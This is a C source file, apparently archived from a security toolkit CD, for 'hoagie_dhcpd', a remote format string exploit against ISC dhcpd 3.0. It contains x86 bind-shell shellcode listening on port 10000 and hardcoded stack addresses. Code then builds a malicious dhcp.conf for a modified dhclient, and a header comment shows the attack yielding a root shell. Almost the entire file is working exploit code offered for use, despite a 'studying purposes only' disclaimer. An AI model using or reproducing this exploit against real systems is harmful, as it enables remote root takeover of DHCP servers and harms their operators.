home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / dhcp / hoagie_dhcpd.c < prev   
C/C++ Source or Header  |  2005-02-12  |  7KB  |  224 lines

  1. /***********************************************************
  2.  * hoagie_dhcpd.c
  3.  *
  4.  * local and remote exploit for isc dhcpd 3.0 (perhaps others)
  5.  *
  6.  * hi 19c3 guys ;)
  7.  *
  8.  * gcc hoagie_dhcpd.c -o hoagie_dhcpd
  9.  *
  10.  * Author: Andi <andi@void.at>
  11.  *
  12.  * Greetz to Greuff, philipp and the other hoagie-fellas :-)
  13.  *
  14.  * For this exploit we use the very very useful dhcp client
  15.  * option: hex-coloumn list as fqdn. For this trick we change
  16.  * in common/tables.c the parsing option to "X". 
  17.  *
  18.  * # ./hd 
  19.  * hoagie_dhcpd.c - remote isc dhcpd 3.0 format string exploit
  20.  * using return address location: 0xbfffdd4c
  21.  * return address: 0xbfffde38
  22.  * dummy vprintf address: 0xbfffdd70
  23.  * now run: dhclient -d -cf dhcp.conf eth0
  24.  * # ./dhclient -d -cf dhcp.conf eth0
  25.  * Internet Software Consortium DHCP Client V3.0
  26.  * Copyright 1995-2001 Internet Software Consortium.
  27.  * All rights reserved.
  28.  * For info, please visit http://www.isc.org/products/DHCP
  29.  * 
  30.  * Listening on LPF/eth0/00:02:3f:af:89:fb
  31.  * Sending on   LPF/eth0/00:02:3f:af:89:fb
  32.  * Sending on   Socket/fallback
  33.  * DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 3
  34.  * DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval ...
  35.  * ^C
  36.  * # telnet dhcpserverip 10000
  37.  * id;
  38.  * uid=0(root) gid=0(root) groups=0(root)
  39.  *
  40.  * after I've written the return address location and used the
  41.  * last %n parameter, vfprintf still pops values from the stack
  42.  * so what happened: the dhcp server tries to write the written
  43.  * bytes to something like 0x2578.... which is part of the format
  44.  * string. so you have to add another dummy address pair where
  45.  * vfprintf can write dummy bytes.
  46.  *
  47.  * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
  48.  * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY 
  49.  * DAMAGE DONE USING THIS PROGRAM.
  50.  *
  51.  ************************************************************/
  52. #include <stdio.h>
  53. #include <stdlib.h>
  54.  
  55. char shellcode[] = 
  56.    "\x31\xdb"            // xor    ebx, ebx
  57.    "\xf7\xe3"            // mul    ebx
  58.    "\xb0\x66"            // mov     al, 102
  59.    "\x53"            // push    ebx
  60.    "\x43"            // inc     ebx
  61.    "\x53"            // push    ebx
  62.    "\x43"            // inc     ebx
  63.    "\x53"            // push    ebx
  64.    "\x89\xe1"            // mov     ecx, esp
  65.    "\x4b"            // dec     ebx
  66.    "\xcd\x80"            // int     80h
  67.    "\x89\xc7"            // mov     edi, eax
  68.    "\x52"            // push    edx
  69.    "\x66\x68\x27\x10"        // push    word 4135
  70.    "\x43"            // inc     ebx
  71.    "\x66\x53"            // push    bx
  72.    "\x89\xe1"            // mov     ecx, esp
  73.    "\xb0\x10"            // mov    al, 16
  74.    "\x50"            // push    eax
  75.    "\x51"            // push    ecx
  76.    "\x57"            // push    edi
  77.    "\x89\xe1"            // mov     ecx, esp
  78.    "\xb0\x66"            // mov     al, 102
  79.    "\xcd\x80"            // int     80h
  80.    "\xb0\x66"            // mov     al, 102
  81.    "\xb3\x04"            // mov     bl, 4
  82.    "\xcd\x80"            // int     80h
  83.    "\x50"            // push    eax
  84.    "\x50"            // push    eax
  85.    "\x57"            // push    edi
  86.    "\x89\xe1"            // mov    ecx, esp
  87.    "\x43"            // inc    ebx
  88.    "\xb0\x66"            // mov    al, 102
  89.    "\xcd\x80"            // int    80h
  90.    "\x89\xd9"            // mov    ecx, ebx
  91.    "\x89\xc3"            // mov     ebx, eax
  92.    "\xb0\x3f"            // mov     al, 63
  93.    "\x49"            // dec     ecx
  94.    "\xcd\x80"            // int     80h
  95.    "\x41"            // inc     ecx
  96.    "\xe2\xf8"            // loop    lp
  97.    "\x51"            // push    ecx
  98.    "\x68\x6e\x2f\x73\x68"    // push    dword 68732f6eh
  99.    "\x68\x2f\x2f\x62\x69"    // push    dword 69622f2fh
  100.    "\x89\xe3"            // mov     ebx, esp
  101.    "\x51"            // push    ecx
  102.    "\x53"            // push    ebx
  103.    "\x89\xe1"            // mov    ecx, esp
  104.    "\xb0\x0b"            // mov    al, 11
  105.    "\xcd\x80";            // int     80h
  106.  
  107. char nop[] = "\x90\x90\x90\x90";
  108.  
  109. int retloc = 0xbfffdd4c;        /* use gdb to get it ;) */
  110. int retaddr = 0xbfffde38;        /* hmm yes that sounds quite interesting */
  111. int dummyaddr = 0xbfffdd70;        /* dummy stack pointer for vprintf */
  112.  
  113. void help() {
  114.     printf("\t-l\t ... return address location\n");
  115.     printf("\t-r\t ... return address\n");
  116.     printf("\t-d\t ... dummy vfprintf address\n");
  117.     exit(0);
  118.  
  119. int main(int argc, char **argv) {
  120.     char buffer[4096], output[4096], tmp[6], pad[4][20];
  121.     FILE *fp;
  122.     unsigned char rl[4], ra[4], da[4]; 
  123.     int i, opt;
  124.     unsigned int start, diff, ret;
  125.     extern char *optarg;
  126.  
  127.     printf("hoagie_dhcpd.c - remote isc dhcpd 3.0 format string exploit\n");
  128.     if (argc > 1) {
  129.        while ( (opt = getopt(argc, argv, "hl:r:d:")) != EOF) {
  130.           switch(opt) {
  131.              case 'h': help(); break;
  132.              case 'l': sscanf(optarg, "0x%x", &retloc); break;
  133.              case 'r': sscanf(optarg, "0x%x", &retaddr); break;
  134.              case 'd': sscanf(optarg, "0x%x", &dummyaddr); break;
  135.           }
  136.        }
  137.     }
  138.     printf("using return address location: 0x%x\n", retloc);
  139.     printf("return address: 0x%x\n", retaddr); 
  140.     printf("dummy vprintf address: 0x%x\n", dummyaddr);
  141.  
  142.     /* convert return address location */
  143.     rl[0] = (char) (retloc >> 24);
  144.     rl[1] = (char) (retloc >> 16);
  145.     rl[2] = (char) (retloc >> 8);
  146.     rl[3] = (char) retloc;
  147.  
  148.     /* convert dummy address */
  149.     da[0] = (char) (dummyaddr >> 24);
  150.     da[1] = (char) (dummyaddr >> 16);
  151.     da[2] = (char) (dummyaddr >> 8);
  152.     da[3] = (char) dummyaddr;
  153.  
  154.     /* calculate paddings */
  155.     ra[3] = (char) (retaddr >> 24);
  156.     ra[2] = (char) (retaddr >> 16);
  157.     ra[1] = (char) (retaddr >> 8);
  158.     ra[0] = (char) retaddr;
  159.  
  160.     start = 0xd4;
  161.     for (i = 0; i < 4; i++) {
  162.        if (start == ra[i]) {
  163.           strcpy(pad[i], "");
  164.        } else {
  165.           if (start > ra[i]) {
  166.              ret = ra[i];
  167.              while (start > ret) ret += 0x100;
  168.              diff = ret - start;
  169.           } else {
  170.          diff = ra[i] - start;
  171.           }
  172.           sprintf(pad[i], "%%%du", diff); 
  173.           start += diff;
  174.        }
  175.     }
  176.  
  177.     /* build the special format string */
  178.     sprintf(buffer, 
  179.             "%c%c%c%c\x70\xdd\xff\xbf%c%c%c%c\x70\xdd\xff\xbf"
  180.             "%c%c%c%c\x70\xdd\xff\xbf%c%c%c%c"
  181.             "%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x"
  182.             "%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x" 
  183.             "\x90\x90\x90\x90%c%c%c%c"
  184.             "\x90\x90\x90\x90%c%c%c%c"
  185.             "\x90\x90\x90\x90%c%c%c%c"
  186.             "\x90\x90\x90\x90%c%c%c%c"
  187.             "%s%%n" 
  188.             "%s%%n"
  189.             "%s%%n" 
  190.             "%s%%n" 
  191.         "%s%s", 
  192.             rl[3], rl[2], rl[1], rl[0], 
  193.             rl[3] + 1, rl[2], rl[1], rl[0], 
  194.             rl[3] + 2, rl[2], rl[1], rl[0],
  195.             rl[3] + 3, rl[2], rl[1], rl[0], 
  196.             da[3], da[2], da[1], da[0],
  197.             da[3], da[2], da[1], da[0],
  198.             da[3], da[2], da[1], da[0],
  199.             da[3], da[2], da[1], da[0],
  200.             pad[0], pad[1], pad[2], pad[3], nop, shellcode);
  201.  
  202.     /* convert to dhcp.conf syntax
  203.      * hex style input format rules -> change your dhclient source -> tables.c and change fqdn to type X
  204.      * to add binary values 
  205.      */
  206.     memset(output, 0, sizeof(output));
  207.     for (i = 0; i < strlen(buffer) - 1; i++) {
  208.         sprintf(tmp, "%02x:", (unsigned char)buffer[i]);
  209.         strcat(output, tmp);
  210.     }
  211.     sprintf(tmp, "%02x", (unsigned char)buffer[i]);
  212.     strcat(output, tmp);
  213.  
  214.     /* create dhcp.conf and write options */
  215.     fp = fopen("dhcp.conf", "w");
  216.     fprintf(fp, "send fqdn.server-update on;\n");
  217.     fprintf(fp, "send fqdn.fqdn %s;", output);
  218.     fclose(fp);
  219.  
  220.     /* have fun */
  221.     printf("now run: dhclient -d -cf dhcp.conf eth0\n");
  222. }
  223.